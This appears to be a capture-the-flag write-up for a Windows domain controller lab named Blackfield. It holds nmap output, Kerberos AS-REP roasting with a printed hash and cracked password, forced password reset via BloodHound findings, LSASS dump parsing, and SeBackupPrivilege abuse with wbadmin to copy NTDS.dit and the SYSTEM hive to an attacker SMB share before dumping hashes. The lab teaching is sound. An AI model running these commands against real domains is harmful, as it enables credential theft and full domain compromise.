Blackfield
[OS]: Windows
[Hostname]: Blackfield.local
[IP]: 10.129.230.17
.png)
[USERS]:
audit2020
support
svc_backup
[CREDENTIALS]:
audit2020 -> Password@987
support -> #00^BlackKnight
=========================================================================
[NMAP RESULTS]:
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-13 05:29:24Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-11-13T05:29:32
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 29469/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
| Check 2 (port 51750/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
| Check 3 (port 46070/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
| Check 4 (port 25092/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h00m00s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 12 17:29:50 2026 -- 1 IP address (1 host up) scanned in 34.30 seconds
=========================================================================
[SMB Services Enumeration]:
enumerating the samba share showed us that we are allowed to have guest authentication.
.png)
forensic share looks interesting but using SMBclient showed us that we dont have access to list out the files in the share
profile share showed us alot of users that we can enumerate for
.png)
enumerating users using Kerbrute
.png)
kerbrute userenum -d BLACKFIELD.local --dc $IP users.txt -o valid_user.txt
support hash
$krb5asrep$18$support@BLACKFIELD.LOCAL:324afa8661616bc8203d0b28d050ce84$c5de3c7a43c0f594b0ef40e275cf8128799e86e37025ebac3583150302953391f3ee68a9452e7931bdb8ee07e5f739038b122914f69cd832fec213096b9167a92852310f37c25066c0db8f36ff2e98f32104a462edfe2300ac9bcc0ed018dfe40cb92a7d7c8547e9ec234f97d5b166b1b839e4bc43a553add7742eb9f677c4aeb686ee499eb1c01741fd7cfc0fb5d682394142f746c6554f2a9de8d7e8397568009ef28dd01853ceaa330e5e8b9d619fd0316dd4b8382d4f8d9c74224769f0b158b51a92298cc7dec574cdad720db49730874d9d2b48b0ca60c087aeb0bbfaa03dd6d0a0d2666e295dbedced9d1b0a254ba72d028fc52f3cb9597e24a29228901b3dd667574081cf
cracking the hash
password was -> #00^BlackKnight now we enumerate more what can we do with this user
.png)
could not access the forensic tab so we move on
.png)
using the newly found credentials we can check bloodhound and find some interesting things
bloodhound-python -u support -p '<password>' -ns $IP -d BLACKFIELD.local -c all
.png)
incase they aren’t in a zip file use this
zip loot.zip 20261112191540_*.json
user support is a part of domain users group
.png)
user support had ForceChangePassword permissions on audit2020
.png)
since this user had these dangerous permissions we can use this to force change audit2020 password
we change the users password -> Password@987
.png)
verifying the password change
.png)
forensic share is now open to us
exploring the forensic share showed us lsass.zip file
.png)
downloading the lsass.zip file and unzipping it
Pasted image 20261113035528.png
using pypykatz(from python)
.png)
opening the file showed us this
.png)
Looking closer we found svc_backup NT hash
.png)
connecting to evil-winrm was a success
.png)
=========================================================================
[OTHER / PRIVILEGE-ESCALATION]:
since we have SeBackupPrivilege
.png)
we can abuse this in order to retrieve files from the Administrator desktop using robocopy, we are able to retrieve a notes.txt but denied getting root.txt file
robocopy /b C:\Users\Administrator\Desktop\ C:\
.png)
notes.txt file told us that the root file is encrypted
.png)
add this to /etc/samba/smb.conf
.png)
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
interfaces = tun0
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
now back on winrm we can backup the NTDS folder with wbadmin
.png)
echo "Y" | wbadmin start backup -backuptarget:\\10.10.14.3\smb -
include:c:\windows\ntds
successfully created a backup
.png)
now we check the version of the backup
.png)
we can now restore the NTDS.dit file specifying the backup version (UTC TIME if in Saudi Arabia)
wbadmin start recovery -version:11/13/2026-09:45 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoveryTarget:C:\ -notrestoreacl -backupTarget:\\10.10.15.235\smb -machine:DC01 -quiet
.png)
now we need to export the system hive and transfer both NTDS.dit to our local machine
reg save HKLM\SYSTEM C:\system.hive
copy both files to our box with our mounted SMB drive
cp ntds.dit \\10.10.14.3\smb\NTDS.dit cp system.hive \\10.10.14.3\smb\system.hive
impacket-secretsdump -ntds NTDS.dit -system system.hive LOCAL
admin-hash: 184fb5e5178480be64824d4cd53b99ee
.png)
done!